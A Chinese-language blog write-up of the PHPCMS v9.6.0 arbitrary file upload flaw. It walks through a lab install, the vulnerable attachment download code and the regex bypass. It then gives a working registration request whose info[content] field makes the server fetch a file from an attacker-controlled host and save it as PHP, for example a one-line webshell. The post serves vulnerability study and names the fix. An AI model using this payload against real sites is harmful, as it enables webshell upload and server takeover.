PHPCMS v9.6.0 任意文件上传漏洞分析

0x01 漏洞介绍

PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。
##漏洞影响
文件上传可获取服务器权限

安装步骤

点击开始安装
一直点下一步,这里点第一个这里只要填自己的数据库账号密码和邮箱即可
后台账号密码貌似默认是:phpcms/phpcms等待中….

登陆后台的账号密码默认为phpcms/phpcms
像这样就安装成功了

代码分析

咱们先看看简化之后的poc

小伙伴们不难发现,这个poc是先发起了一个注册请求。其次在date的info字段里写入公网服务器的shell地址,被服务器读取到,从而上传至uploadfile。如何做到的?先看看/phpcms/modules/member/index.php文件中的register函数
我的目录结构是这样的,大家按照自己的来就好

打开文件之后,回头看poc的payload在$_POST[‘info’]中
我们定位到info的位置,更进一下,看看到底发生了什么才导致漏洞的产生看到上面截代码的这一行
require_once CACHE_MODEL_PATH.'member_input.class.php';
该函数位于caches/caches_model/caches_data/member_input.class.php中,接下来函数走到如下位置:

由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:接下来的函数,执行$this->attachment->download函数进行下载的。
所以我们继续跟进,在phpcms/libs/classes/attachment.class.php文件中:在143-186行中
因为缩小了好像看不见,所以我贴出来了

function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
	{
		global $image_d;
		$this->att_db = pc_base::load_model('attachment_model');
		$upload_url = pc_base::load_config('system','upload_url');
		$this->field = $field;
		$dir = date('Y/md/');
		$uploadpath = $upload_url.$dir;
		$uploaddir = $this->upload_root.$dir;
		$string = new_stripslashes($value);
		if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
		$remotefileurls = array();
		foreach($matches[3] as $matche)
		{
			if(strpos($matche, '://') === false) continue;
			dir_create($uploaddir);
			$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
		}
		unset($matches, $string);
		$remotefileurls = array_unique($remotefileurls);
		$oldpath = $newpath = array();
		foreach($remotefileurls as $k=>$file) {
			if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
			$filename = fileext($file);
			$file_name = basename($file);
			$filename = $this->getname($filename);

			$newfile = $uploaddir.$filename;
			$upload_func = $this->upload_func;
			if($upload_func($file, $newfile)) {
				$oldpath[] = $k;
				$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
				@chmod($newfile, 0777);
				$fileext = fileext($filename);
				if($watermark){
					watermark($newfile, $newfile,$this->siteid);
				}
				$filepath = $dir.$filename;
				$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
				$aid = $this->add($downloadedfile);
				$this->downloadedfiles[$aid] = $filepath;
			}
		}
		return str_replace($oldpath, $newpath, $value);

小伙伴们,注意这一段
$ext = 'gif|jpg|jpeg|bmp|png'
还有这一段
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

看到if,有一个正则匹配需要满足src/href=url.(gif|jpg|jpeg|bmp|png)
所以这就是为什么我们的payload是这样的。
<img src=http://192.168.123.130/phpinfo.txt?.php#.jpg>

因为程序会去除url中的锚点,经过$remotefileurls的处理,#.jgp就会被去除,
这也是为了绕过正则而要加的#.JPG
为了绕过正则而添加的.jpg。.jpg被去除后,就会变成.php后缀文件
##实战

在测试之前,我们需要先准备一台虚拟机/服务器,要开启web服务,在web服务中写入phpinfo或者php一句话木马都行
往里边写phpinfo

你看我这种的,就代表着以及在web服务上写入txt文件

把上面步骤做好了,就可以开始了

点击注册先在会员注册的地方随便写点内容,
点击注册抓包
然后把我构建好的payload,覆盖掉我们注册信息上
siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://192.168.123.130/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=
访问这个回显的绝对路径去机器上查看,也是存在的,因为我这边做了好几次,所以存在七八个phpinfo 哈哈哈

修复方法

把phpcms升级至9.6.1即可

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发